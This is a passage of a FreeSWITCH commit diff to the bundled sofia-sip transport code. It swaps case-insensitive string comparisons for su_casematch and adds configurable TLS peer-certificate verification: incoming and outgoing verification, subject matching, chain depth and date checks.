   if ((error = su_getaddrinfo(host, tpn->tpn_port, hints, &res))) {
     SU_DEBUG_3(("tport_resolve: getaddrinfo(\"%s\":%s): %s\n",
@@ -4310,7 +4377,7 @@
 {
   if (proto && strcmp(proto, tpn_any) != 0) {
     for (; self; self = tport_next(self))
-      if (strcasecmp(proto, self->tp_protoname) == 0)
+      if (su_casematch(proto, self->tp_protoname))
 	break;
   }
 
@@ -4364,7 +4431,7 @@
 	continue;
 #endif
     }
-    if (proto && strcasecmp(proto, tp->tp_protoname))
+    if (proto && !su_casematch(proto, tp->tp_protoname))
       continue;
 
     if (comp && comp != tp->tp_name->tpn_comp) {
@@ -4498,10 +4565,11 @@
 	SU_DEBUG_7(("tport(%p): found %p by name " TPN_FORMAT "\n",
 		    (void *)self, (void *)sub, TPN_ARGS(tpn)));
       }
-      else if ((strcasecmp(canon, sub->tp_canon) &&
-		strcasecmp(host, sub->tp_host)) ||
-	       strcmp(port, sub->tp_port))
+      else if (!su_casematch(port, sub->tp_port))
 	continue;
+      else if (!su_casematch(canon, sub->tp_canon) &&
+	       !su_casematch(host, sub->tp_host))
+	continue;
 
       return (tport_t *)sub;
     }
@@ -4564,6 +4632,13 @@
     if (tport_is_shutdown(sub))
       continue;
 
+    if (tport_has_tls(sub) && !su_casematch(tpn->tpn_canon, sub->tp_name->tpn_canon)) {
+      if (!tport_is_verified(sub))
+        continue;
+      if (!tport_subject_search(tpn->tpn_canon, sub->tp_subjects))
+        continue;
+    }
+
     if (comp != sub->tp_name->tpn_comp)
       continue;
 
@@ -4603,7 +4678,7 @@
     return -1;
   }
 
-  tpn->tpn_proto = url_tport_default(url->url_type);
+  tpn->tpn_proto = url_tport_default((enum url_type_e)url->url_type);
   tpn->tpn_canon = url->url_host;
   tpn->tpn_host = url->url_host;
   tpn->tpn_port = url_port(url);
@@ -4618,9 +4693,9 @@
     for (b = (char *)url->url_params; b[0]; b += n) {
       n = strcspn(b, ";");
 
-      if (n > 10 && strncasecmp(b, "transport=", 10) == 0)
+      if (n > 10 && su_casenmatch(b, "transport=", 10))
 	tpn->tpn_proto = b + 10;
-      else if (n > 6 && strncasecmp(b, "maddr=", 6) == 0)
+      else if (n > 6 && su_casenmatch(b, "maddr=", 6))
 	tpn->tpn_host = b + 6;
 
       if (b[n])

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_internal.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_internal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_internal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -40,6 +40,7 @@
 #endif
 
 #include <sofia-sip/su_uniqueid.h>
+#include <sofia-sip/su_strlst.h>
 
 #ifndef MSG_ADDR_H
 #include <sofia-sip/msg_addr.h>
@@ -155,6 +156,7 @@
   unsigned            tp_has_stun_server:1;
   unsigned            tp_trunc:1;
   unsigned            tp_is_connected:1; /**< Connection is established */
+  unsigned            tp_verified:1;     /**< Certificate Chain was verified */
   unsigned:0;
 
   tport_t *tp_left, *tp_right, *tp_dad; /**< Links in tport tree */
@@ -177,6 +179,14 @@
 					 * or peer name (if secondary).
 					 */
 
+  su_strlst_t        *tp_subjects;      /**< Transport Subjects.
+                                         *
+                                         * Subject Name(s) provided by the peer
+					 * in a TLS connection (if secondary).
+					 * or matched against incoming 
+					 * connections (if primary).
+                                         */
+
 #define tp_protoname tp_name->tpn_proto
 #define tp_canon     tp_name->tpn_canon
 #define tp_host      tp_name->tpn_host
@@ -409,6 +419,7 @@
 			       char const **return_reason);
 
 int tport_accept(tport_primary_t *pri, int events);
+int tport_register_secondary(tport_t *self, su_wakeup_f wakeup, int events);
 void tport_zap_secondary(tport_t *self);
 
 int tport_set_secondary_timer(tport_t *self);
@@ -426,7 +437,10 @@
 void tport_recv_event(tport_t *self);
 void tport_send_event(tport_t *self);
 void tport_hup_event(tport_t *self);
+int tport_setname(tport_t *, char const *, su_addrinfo_t const *, char const *);
 
+int tport_wakeup(su_root_magic_t *magic, su_wait_t *w, tport_t *self);
+
 ssize_t tport_recv_iovec(tport_t const *self,
 			 msg_t **mmsg,
 			 msg_iovec_t iovec[msg_n_fragments], size_t N,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_logging.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_logging.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_logging.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 
 #include "tport_internal.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <stdlib.h>
 #include <time.h>
 #include <assert.h>
@@ -232,8 +232,7 @@
     n += iov[i].mv_len;
 
   tport_stamp(self, msg, stamp, what, n, via, now);
-  su_log("%s", stamp);
-  su_log("   " MSG_SEPARATOR);
+  su_log("%s   " MSG_SEPARATOR, stamp);
 
   for (i = 0; truncated == 0 && i < iovlen && i < 80; i++) {
     char *s = iov[i].mv_base, *end = s + iov[i].mv_len;
@@ -246,7 +245,7 @@
 	break;
       }
 
-      n = strncspn(s, end - s, "\r\n");
+      n = su_strncspn(s, end - s, "\r\n");
 
       if (linelen + n > MAX_LINELEN) {
 	n = MAX_LINELEN - linelen;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_sigcomp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_sigcomp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_sigcomp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,7 +38,7 @@
 
 #include "tport.h"
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <stdlib.h>
 #include <time.h>
 #include <assert.h>
@@ -146,8 +146,7 @@
 {
   if (master_sc == NULL ||
       master_sc->sc_cc == NULL ||
-      compression == NULL ||
-      strcasecmp(compression, tport_sigcomp_name))
+      !su_casematch(compression, tport_sigcomp_name))
     return NULL;
 
   return tport_sigcomp_name;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_stub_sigcomp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_stub_sigcomp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_stub_sigcomp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,7 +34,7 @@
 #include "tport_internal.h"
 
 #include <string.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 tport_comp_vtable_t const *tport_comp_vtable = NULL;
 
@@ -48,7 +48,7 @@
 /** Canonize compression string */
 char const *tport_canonize_comp(char const *comp)
 {
-  if (tport_comp_vtable && comp && strcasecmp(comp, tport_sigcomp_name) == 0)
+  if (tport_comp_vtable && su_casematch(comp, tport_sigcomp_name))
     return tport_sigcomp_name;
   return NULL;
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tag.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tag.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -281,19 +281,138 @@
 tag_typedef_t tptag_tls_version = UINTTAG_TYPEDEF(tls_version);
 
 /**@def TPTAG_TLS_VERIFY_PEER(x)
+ * @par Depreciated:
+ *    Alias for TPTAG_TLS_VERIFY_POLICY(TPTLS_VERIFY_IN|TPTLS_VERIFY_OUT)
  *
+ * @NEW_1_12_10.
+ */
+tag_typedef_t tptag_tls_verify_peer = UINTTAG_TYPEDEF(tls_verify_peer);
+
+/**@def TPTAG_TLS_VERIFY_POLICY(x)
+ *
  * The verification of certificates can be controlled:
- * 0: no verify certificates;
- * 1: on server mode, the certificate returned by client is checked
- *    if fail the TLS/SSL handshake is immediately terminated;
- * 1: on client mode, the server certificate is verified
- *    if fail the TLS/SSL handshake is immediately terminated;
+ * @par Values:
+ *    - #TPTLS_VERIFY_NONE: 
+ *          Do not verify Peer Certificates.
+ *    - #TPTLS_VERIFY_IN: 
+ *          Drop incoming connections which fail signature verification 
+ *          against trusted certificate authorities. Peers must provide a 
+ *          certificate during the initial TLS Handshake.
+ *    - #TPTLS_VERIFY_OUT: 
+ *          Drop outgoing connections which fail signature verification 
+ *          against trusted certificate authorities.
+ *    - #TPTLS_VERIFY_ALL: 
+ *          Alias for (TPTLS_VERIFY_IN|TPTLS_VERIFY_OUT)
+ *    - #TPTLS_VERIFY_SUBJECTS_IN: 
+ *          Match the certificate subject on incoming connections against 
+ *          a provided list.  If no match is found, the connection is 
+ *          rejected. If no list is provided, subject checking is bypassed.
+ *          Note: Implies #TPTLS_VERIFY_IN.
+ *    - #TPTLS_VERIFY_SUBJECTS_OUT: 
+ *          Match the certificate subject on outgoing connections against 
+ *          a provided list.  If no match is found, the connection is 
+ *          rejected.
+ *          Note: Implies #TPTLS_VERIFY_OUT.
+ *    - #TPTLS_VERIFY_SUBJECTS_ALL:
+ *          Alias for (TPTLS_VERIFY_SUBJECTS_IN|TPTLS_VERIFY_SUBJECTS_OUT)
  *
- * Use with tport_tbind(), nua_create(), nta_agent_create(),
- * nta_agent_add_tport(), nth_engine_create(), or initial nth_site_create().
+ * @par Used with
+ *   tport_tbind(), nua_create(), nta_agent_create(), nta_agent_add_tport(),
+ *   nth_engine_create(), initial nth_site_create(),
+ *   TPTAG_TLS_VERIFY_SUBJECTS(), TPTAG_TLS_VERIFY_DEPTH().
+ *
+ * @NEW_1_12_11.
  */
-tag_typedef_t tptag_tls_verify_peer = UINTTAG_TYPEDEF(tls_verify_peer);
+tag_typedef_t tptag_tls_verify_policy = UINTTAG_TYPEDEF(tls_verify_policy);
 
+/**@def TPTAG_TLS_VERIFY_DEPTH(x)
+ *
+ * Define the maximum length of a valid certificate chain.
+ * 
+ * @par Default
+ *   2
+ *
+ * @par Used with
+ *   tport_tbind(), nua_create(), nta_agent_create(), nta_agent_add_tport(), 
+ *   nth_engine_create(), or initial nth_site_create().
+ *
+ * @par Parameter Type:
+ *   unsigned int
+ *
+ * @NEW_1_12_11.
+ */
+tag_typedef_t tptag_tls_verify_depth = UINTTAG_TYPEDEF(tls_verify_depth);
+
+/**@def TPTAG_TLS_VERIFY_DATE(x)
+ *
+ * Enable/Disable verification of notBefore and notAfter parameters of
+ * X.509 Certificates.
+ *
+ * @par Default
+ *   Enabled
+ *
+ * @par Values
+ *   - 0 - Disable date verification.
+ *   - Non-Zero - Enable date verification.
+ *
+ * @par Used with
+ *   tport_tbind(), nua_create(), nta_agent_create(), nta_agent_add_tport(), 
+ *   nth_engine_create(), or initial nth_site_create().
+ *
+ * @par Parameter Type:
+ *   unsigned int
+ *
+ * @par Note
+ *   This tag should be only used on devices which lack accurate timekeeping.
+ *
+ * @NEW_1_12_11.
+ */
+tag_typedef_t tptag_tls_verify_date = UINTTAG_TYPEDEF(tls_verify_date);
+
+/**@def TPTAG_TLS_VERIFY_SUBJECTS(x)
+ *
+ * Incoming TLS connections must provide a trusted X.509 certificate.
+ * The character strings provided with this tag are matched against
+ * the subjects from the trusted certificate.  If a match is not found,
+ * the connection is automatically rejected.
+ *
+ * @par Used with
+ *   tport_tbind(), nua_create(), nta_agent_create(), nta_agent_add_tport(), 
+ *   nth_engine_create(), initial nth_site_create(),
+ *   TPTLS_VERIFY_SUBJECTS_IN
+ *
+ * @par Parameter Type:
+ *   void const * (actually su_strlst_t const *)
+ *
+ * @par Values
+ *   - SIP Identity - sip:example.com or sip:username@example.com
+ *   - DNS - sip.example.com
+ *   - IP Address - Both IPv4 and IPv6 Supported
+ *
+ * @NEW_1_12_11.
+ */
+tag_typedef_t tptag_tls_verify_subjects = PTRTAG_TYPEDEF(tls_verify_subjects);
+
+#if 0
+/**@def TPTAG_X509_SUBJECT(x)
+ *
+ * Requires that a message be sent over a TLS transport with trusted X.509
+ * certificate.  The character string provided must match against a subject 
+ * from the trusted certificate.
+ *
+ * @par Used with
+ *   tport_tsend(), TPTLS_VERIFY_SUBJECTS_OUT
+ *
+ * @par Parameter Type:
+ *   char const *
+ *
+ * @par Values
+ *   - Refer to TPTAG_TLS_VERIFY_SUBJECTS()
+ *
+ * @note Not Implemented.
+ */
+#endif
+
 /**@def TPTAG_QUEUESIZE(x)
  *
  * Specify the number of messages that can be queued per connection.

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_threadpool.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_threadpool.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_threadpool.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -129,22 +129,27 @@
 
 tport_vtable_t const tport_threadpool_vtable =
 {
-  "udp", tport_type_local,
-  sizeof (tport_threadpool_t),
-  tport_threadpool_init_primary,
-  tport_threadpool_deinit_primary,
-  NULL,
-  NULL,
-  0,				/* No secondary transports! */
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  NULL,
-  tport_recv_dgram,
-  tport_send_dgram,
-  NULL,
-  tport_thread_send
+  /* vtp_name 		     */ "udp",
+  /* vtp_public              */ tport_type_local,
+  /* vtp_pri_size            */ sizeof (tport_threadpool_t),
+  /* vtp_init_primary        */ tport_threadpool_init_primary,
+  /* vtp_deinit_primary      */ tport_threadpool_deinit_primary,
+  /* vtp_wakeup_pri          */ NULL,
+  /* vtp_connect             */ NULL,
+  /* vtp_secondary_size      */ 0, /* No secondary transports! */
+  /* vtp_init_secondary      */ NULL,
+  /* vtp_deinit_secondary    */ NULL,
+  /* vtp_shutdown            */ NULL,
+  /* vtp_set_events          */ NULL,
+  /* vtp_wakeup              */ NULL,
+  /* vtp_recv                */ tport_recv_dgram,
+  /* vtp_send                */ tport_send_dgram,
+  /* vtp_deliver             */ NULL,
+  /* vtp_prepare             */ tport_thread_send,
+  /* vtp_keepalive           */ NULL,
+  /* vtp_stun_response       */ NULL,
+  /* vtp_next_secondary_timer*/ NULL,
+  /* vtp_secondary_timer     */ NULL,
 };
 
 static int thrp_udp_init(su_root_t *, threadpool_t *);
@@ -809,4 +814,5 @@
     tport_error_report(tp, tpd->tpd_errorcode, msg_addr(tpd->tpd_msg));
 
   msg_ref_destroy(tpd->tpd_msg);
+
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/tport/tport_tls.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -27,18 +27,20 @@
  *
  * @author Mikko Haataja <ext-Mikko.A.Haataja@nokia.com>
  * @author Pekka Pessi <ext-Pekka.Pessi@nokia.com>
+ * @author Jarod Neuner <janeuner@networkharbor.com>
  *
- * Copyright 2001, 2002 Nokia Research Center.  All rights reserved.
- *
  */
 
 #include "config.h"
 
 #define OPENSSL_NO_KRB5 oh-no
+#define SU_WAKEUP_ARG_T  struct tport_s
 
 #include <sofia-sip/su_types.h>
 #include <sofia-sip/su.h>
+#include <sofia-sip/su_alloc.h>
 #include <sofia-sip/su_wait.h>
+#include <sofia-sip/su_string.h>
 
 #include <openssl/lhash.h>
 #include <openssl/bn.h>
@@ -54,25 +56,65 @@
 #include <assert.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <string.h>
 
+#if HAVE_FUNC
+#elif HAVE_FUNCTION
+#define __func__ __FUNCTION__
+#else
+static char const __func__[] = "tport_tls";
+#endif
+
 #if HAVE_SIGPIPE
 #include <signal.h>
 #endif
 
+#if SU_HAVE_PTHREADS
+
+#include <pthread.h>
+
+#if __sun
+#undef PTHREAD_ONCE_INIT
+#define PTHREAD_ONCE_INIT {{ 0, 0, 0, PTHREAD_ONCE_NOTDONE }}
+#endif
+
+static pthread_once_t once = PTHREAD_ONCE_INIT;
+#define ONCE_INIT(f) pthread_once(&once, f)
+
+#else
+
+static int once;
+#define ONCE_INIT(f) (!once ? (once = 1), f() : (void)0)
+
+#endif
+
 #include "tport_tls.h"
-#include "tport_internal.h"
 
 char const tls_version[] = OPENSSL_VERSION_TEXT;
+static int tls_ex_data_idx = -1; /* see SSL_get_ex_new_index(3ssl) */
 
-enum  { tls_master, tls_slave };
+static void
+tls_init_once(void)
+{
+  SSL_library_init();
+  SSL_load_error_strings();
+  tls_ex_data_idx = SSL_get_ex_new_index(0, "sofia-sip private data", NULL, NULL, NULL);
+}
 
+enum  { tls_master = 0, tls_slave = 1};
+
 struct tls_s {
+  su_home_t home[1];
   SSL_CTX *ctx;
   SSL *con;
   BIO *bio_con;
-  int type;
-  int verified;
+  unsigned int type:1,
+               accept:1,
+               verify_incoming:1,
+               verify_outgoing:1,
+	       verify_subj_in:1,
+	       verify_subj_out:1,
+	       verify_date:1,
+               x509_verified:1;
 
   /* Receiving */
   int read_events;
@@ -85,7 +127,7 @@
   size_t write_buffer_len;
 
   /* Host names */
-  char *hosts[TLS_MAX_HOSTS + 1];
+  su_strlst_t *subjects;
 };
 
 enum { tls_buffer_size = 16384 };
@@ -122,10 +164,10 @@
 static
 tls_t *tls_create(int type)
 {
-  tls_t *tls = calloc(1, sizeof(*tls));
+  tls_t *tls = su_home_new(sizeof(*tls));
 
   if (tls)
-    tls->type = type;
+    tls->type = type == tls_master ? tls_master : tls_slave;
 
   return tls;
 }
@@ -157,13 +199,44 @@
     X509 *cert = X509_STORE_CTX_get_current_cert(store);
     int  depth = X509_STORE_CTX_get_error_depth(store);
     int  err = X509_STORE_CTX_get_error(store);
+    int  sslidx = SSL_get_ex_data_X509_STORE_CTX_idx();
+    SSL  *ssl = X509_STORE_CTX_get_ex_data(store, sslidx);
+    tls_t *tls = SSL_get_ex_data(ssl, tls_ex_data_idx);
 
-    SU_DEBUG_1(("-Error with certificate at depth: %i\n", depth));
-    X509_NAME_oneline(X509_get_issuer_name(cert), data, 256);
-    SU_DEBUG_1(("  issuer   = %s\n", data));
-    X509_NAME_oneline(X509_get_subject_name(cert), data, 256);
-    SU_DEBUG_1(("  subject  = %s\n", data));
-    SU_DEBUG_1(("  err %i:%s\n", err, X509_verify_cert_error_string(err)));
+    assert(tls);
+
+#define TLS_VERIFY_CB_CLEAR_ERROR(OK,ERR,STORE) \
+                   do {\
+                     OK = 1;\
+		     ERR = X509_V_OK;\
+		     X509_STORE_CTX_set_error(STORE,ERR);\
+		   } while (0)
+
+    if (tls->accept && !tls->verify_incoming)
+      TLS_VERIFY_CB_CLEAR_ERROR(ok, err, store);
+    else if (!tls->accept && !tls->verify_outgoing)
+      TLS_VERIFY_CB_CLEAR_ERROR(ok, err, store);
+    else switch (err) {
+      case X509_V_ERR_CERT_NOT_YET_VALID:
+      case X509_V_ERR_CERT_HAS_EXPIRED:
+      case X509_V_ERR_CRL_NOT_YET_VALID:
+      case X509_V_ERR_CRL_HAS_EXPIRED:
+        if (!tls->verify_date)
+	  TLS_VERIFY_CB_CLEAR_ERROR(ok, err, store);
+
+      default:
+        break;
+    }
+
+    if (!ok) {
+      SU_DEBUG_3(("-Error with certificate at depth: %i\n", depth));
+      X509_NAME_oneline(X509_get_issuer_name(cert), data, 256);
+      SU_DEBUG_3(("  issuer   = %s\n", data));
+      X509_NAME_oneline(X509_get_subject_name(cert), data, 256);
+      SU_DEBUG_3(("  subject  = %s\n", data));
+      SU_DEBUG_3(("  err %i:%s\n", err, X509_verify_cert_error_string(err)));
+    }
+
   }
 
   return ok;
@@ -172,13 +245,14 @@
 static
 int tls_init_context(tls_t *tls, tls_issues_t const *ti)
 {
-  static int initialized = 0;
+  int verify;
+  static int random_loaded;
 
-  if (!initialized) {
-    initialized = 1;
-    SSL_library_init();
-    SSL_load_error_strings();
+  ONCE_INIT(tls_init_once);
 
+  if (!random_loaded) {
+    random_loaded = 1;
+
     if (ti->randFile &&
 	!RAND_load_file(ti->randFile, 1024 * 1024)) {
       if (ti->configured > 1) {
@@ -222,7 +296,7 @@
     if (ti->configured > 0) {
       SU_DEBUG_1(("%s: invalid local certificate: %s\n",
 		 "tls_init_context", ti->cert));
-      tls_log_errors(1, "tls_init_context", 0);
+      tls_log_errors(3, "tls_init_context", 0);
 #if require_client_certificate
       errno = EIO;
       return -1;
@@ -234,7 +308,9 @@
                                    ti->key,
                                    SSL_FILETYPE_PEM)) {
     if (ti->configured > 0) {
-      tls_log_errors(1, "tls_init_context", 0);
+      SU_DEBUG_1(("%s: invalid private key: %s\n",
+		 "tls_init_context", ti->key));
+      tls_log_errors(3, "tls_init_context(key)", 0);
 #if require_client_certificate
       errno = EIO;
       return -1;
@@ -256,21 +332,32 @@
   if (!SSL_CTX_load_verify_locations(tls->ctx,
                                      ti->CAfile,
                                      ti->CApath)) {
+    SU_DEBUG_1(("%s: error loading CA list: %s\n",
+		 "tls_init_context", ti->CAfile));
     if (ti->configured > 0)
-      tls_log_errors(1, "tls_init_context", 0);
+      tls_log_errors(3, "tls_init_context(CA)", 0);
     errno = EIO;
     return -1;
   }
 
+  /* corresponds to (enum tport_tls_verify_policy) */
+  tls->verify_incoming = (ti->policy & 0x1) ? 1 : 0;
+  tls->verify_outgoing = (ti->policy & 0x2) ? 1 : 0;
+  tls->verify_subj_in  = (ti->policy & 0x4) ? tls->verify_incoming : 0;
+  tls->verify_subj_out = (ti->policy & 0x8) ? tls->verify_outgoing : 0;
+  tls->verify_date     = (ti->verify_date)  ? 1 : 0;
+
+  if (tls->verify_incoming)
+    verify = SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT;
+  else
+    verify = SSL_VERIFY_NONE;
+
   SSL_CTX_set_verify_depth(tls->ctx, ti->verify_depth);
+  SSL_CTX_set_verify(tls->ctx, verify, tls_verify_cb);
 
-  SSL_CTX_set_verify(tls->ctx,
-		     ti->verify_peer == 1 ? SSL_VERIFY_PEER : SSL_VERIFY_NONE,
-                     tls_verify_cb);
-
   if (!SSL_CTX_set_cipher_list(tls->ctx, ti->cipher)) {
     SU_DEBUG_1(("%s: error setting cipher list\n", "tls_init_context"));
-    tls_log_errors(1, "tls_init_context", 0);
+    tls_log_errors(3, "tls_init_context", 0);
     errno = EIO;
     return -1;
   }
@@ -280,14 +367,9 @@
 
 void tls_free(tls_t *tls)
 {
-  int k;
-
   if (!tls)
     return;
 
-  if (tls->read_buffer)
-    free(tls->read_buffer), tls->read_buffer = NULL;
-
   if (tls->con != NULL)
     SSL_shutdown(tls->con);
 
@@ -297,12 +379,7 @@
   if (tls->bio_con != NULL)
     BIO_free(tls->bio_con);
 
-  for (k = 0; k < TLS_MAX_HOSTS; k++)
-    if (tls->hosts[k]) {
-      free(tls->hosts[k]), tls->hosts[k] = NULL;
-    }
-
-  free(tls);
+  su_home_unref(tls->home);
 }
 
 int tls_get_socket(tls_t *tls)
@@ -363,15 +440,23 @@
   return tls;
 }
 
-tls_t *tls_clone(tls_t *master, int sock, int accept)
+tls_t *tls_init_secondary(tls_t *master, int sock, int accept)
 {
   tls_t *tls = tls_create(tls_slave);
 
   if (tls) {
     tls->ctx = master->ctx;
+    tls->type = master->type;
+    tls->accept = accept ? 1 : 0;
+    tls->verify_outgoing = master->verify_outgoing;
+    tls->verify_incoming = master->verify_incoming;
+    tls->verify_subj_out = master->verify_subj_out;
+    tls->verify_subj_in  = master->verify_subj_in;
+    tls->verify_date     = master->verify_date;
+    tls->x509_verified   = master->x509_verified;
 
-    if (!(tls->read_buffer = malloc(tls_buffer_size)))
-      free(tls), tls = NULL;
+    if (!(tls->read_buffer = su_alloc(tls->home, tls_buffer_size)))
+      su_home_unref(tls->home), tls = NULL;
   }
   if (!tls)
     return tls;
@@ -382,67 +467,48 @@
   tls->con = SSL_new(tls->ctx);
 
   if (tls->con == NULL) {
-    tls_log_errors(1, "tls_clone", 0);
+    tls_log_errors(1, "tls_init_secondary", 0);
     tls_free(tls);
     errno = EIO;
     return NULL;
   }
 
   SSL_set_bio(tls->con, tls->bio_con, tls->bio_con);
-  if (accept)
-    SSL_set_accept_state(tls->con);
-  else
-    SSL_set_connect_state(tls->con);
   SSL_set_mode(tls->con, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER);
+  SSL_set_ex_data(tls->con, tls_ex_data_idx, tls);
 
   su_setblocking(sock, 0);
-  tls_read(tls); /* XXX - works only with non-blocking sockets */
 
   return tls;
 }
 
-tls_t *tls_init_slave(tls_t *master, int sock)
+su_inline
+int tls_post_connection_check(tport_t *self, tls_t *tls)
 {
-  int accept;
-  return tls_clone(master, sock, accept = 1);
-}
-
-tls_t *tls_init_client(tls_t *master, int sock)
-{
-  int accept;
-  return tls_clone(master, sock, accept = 0);
-}
-
-static char *tls_strdup(char const *s)
-{
-  if (s) {
-    size_t len = strlen(s) + 1;
-    char *d = malloc(len);
-    if (d)
-      memcpy(d, s, len);
-    return d;
-  }
-  return NULL;
-}
-
-static
-int tls_post_connection_check(tls_t *tls)
-{
   X509 *cert;
   int extcount;
-  int k, i, j, error;
+  int i, j, error;
 
   if (!tls) return -1;
 
   cert = SSL_get_peer_certificate(tls->con);
-  if (!cert)
-    return X509_V_OK;
+  if (!cert) {
+    SU_DEBUG_7(("%s(%p): Peer did not provide X.509 Certificate.\n", 
+                 __func__, self));
+    if (self->tp_accepted && tls->verify_incoming)
+      return X509_V_ERR_CERT_UNTRUSTED;
+    else if (!self->tp_accepted && tls->verify_outgoing)
+      return X509_V_ERR_CERT_UNTRUSTED;
+    else 
+      return X509_V_OK;
+  }
 
+  tls->subjects = su_strlst_create(tls->home);
+  if (!tls->subjects)
+    return X509_V_ERR_OUT_OF_MEM;
+
   extcount = X509_get_ext_count(cert);
 
-  for (k = 0; k < TLS_MAX_HOSTS && tls->hosts[k]; k++)
-    ;
-
   /* Find matching subjectAltName.DNS */
   for (i = 0; i < extcount; i++) {
     X509_EXTENSION *ext;
@@ -464,38 +530,33 @@
 
     for (j = 0; j < sk_CONF_VALUE_num(values); j++) {
       value = sk_CONF_VALUE_value(values, j);
-      if (strcmp(value->name, "DNS") == 0) {
-	if (k < TLS_MAX_HOSTS) {
-	  tls->hosts[k] = tls_strdup(value->value);
-	  k += tls->hosts[k] != NULL;
-	}
-      }
-      else if (strcmp(value->name, "URI") == 0) {
-	char const *uri = strchr(value->value, ':');
-	if (uri ++ && k < TLS_MAX_HOSTS) {
-	  tls->hosts[k] = tls_strdup(uri);
-	  k += tls->hosts[k] != NULL;
-	}
-      }
+      if (strcmp(value->name, "DNS") == 0)
+        su_strlst_dup_append(tls->subjects, value->value);
+      if (strcmp(value->name, "IP") == 0)
+        su_strlst_dup_append(tls->subjects, value->value);
+      else if (strcmp(value->name, "URI") == 0)
+        su_strlst_dup_append(tls->subjects, value->value);
     }
   }
 
-  if (k < TLS_MAX_HOSTS) {
+  {
     X509_NAME *subject;
     char name[256];
 
     subject = X509_get_subject_name(cert);
+
     if (subject) {
       if (X509_NAME_get_text_by_NID(subject, NID_commonName,
 				    name, sizeof name) > 0) {
+	usize_t k, N = su_strlst_len(tls->subjects);
 	name[(sizeof name) - 1] = '\0';
 
-	for (i = 0; tls->hosts[i]; i++)
-	  if (strcasecmp(tls->hosts[i], name) == 0)
+	for (k = 0; k < N; k++)
+	  if (su_casematch(su_strlst_item(tls->subjects, k), name) == 0)
 	    break;
 
-	if (i == k)
-	  tls->hosts[k++] = tls_strdup(name);
+	if (k >= N)
+	  su_strlst_dup_append(tls->subjects, name);
       }
     }
   }
@@ -504,34 +565,65 @@
 
   error = SSL_get_verify_result(tls->con);
 
-  if (error == X509_V_OK)
-    tls->verified = 1;
+  if (cert && error == X509_V_OK)
+    tls->x509_verified = 1;
 
-  return error;
-}
+  if (tport_log->log_level >= 7) {
+    int i, len = su_strlst_len(tls->subjects);
+    for (i=0; i < len; i++)
+      SU_DEBUG_7(("%s(%p): Peer Certificate Subject %i: %s\n", \
+	      __func__, self, i, su_strlst_item(tls->subjects, i)));
+    if (i == 0)
+      SU_DEBUG_7(("%s(%p): Peer Certificate provided no usable subjects.\n",
+                   __func__, self));
+  }
 
-int tls_check_hosts(tls_t *tls, char const *hosts[TLS_MAX_HOSTS])
-{
-  int i, j;
+  /* Verify incoming connections */
+  if (self->tp_accepted) {
+    if (!tls->verify_incoming)
+      return X509_V_OK;
 
-  if (tls == NULL) { errno = EINVAL; return -1; }
-  if (!tls->verified) { errno = EAGAIN; return -1; }
+    if (!tls->x509_verified)
+      return error;
 
-  if (!hosts)
-    return 0;
+    if (tls->verify_subj_in) {
+      su_strlst_t const *subjects = self->tp_pri->pri_primary->tp_subjects;
+      int i, items;
 
-  for (i = 0; hosts[i]; i++) {
-    for (j = 0; tls->hosts[j]; j++) {
-      if (strcasecmp(hosts[i], tls->hosts[j]) == 0)
-	break;
+      items = subjects ? su_strlst_len(subjects) : 0;
+      if (items == 0)
+        return X509_V_OK;
+
+      for (i=0; i < items; i++) {
+	if (tport_subject_search(su_strlst_item(subjects, i), tls->subjects))
+	  return X509_V_OK;
+      }
